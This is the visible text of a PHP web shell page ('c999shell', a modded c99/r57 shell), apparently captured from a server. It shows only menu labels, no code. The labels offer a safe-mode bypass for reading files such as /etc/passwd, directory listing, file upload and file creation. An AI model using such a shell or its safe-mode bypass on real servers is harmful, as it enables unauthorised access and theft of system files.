Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0177 ]--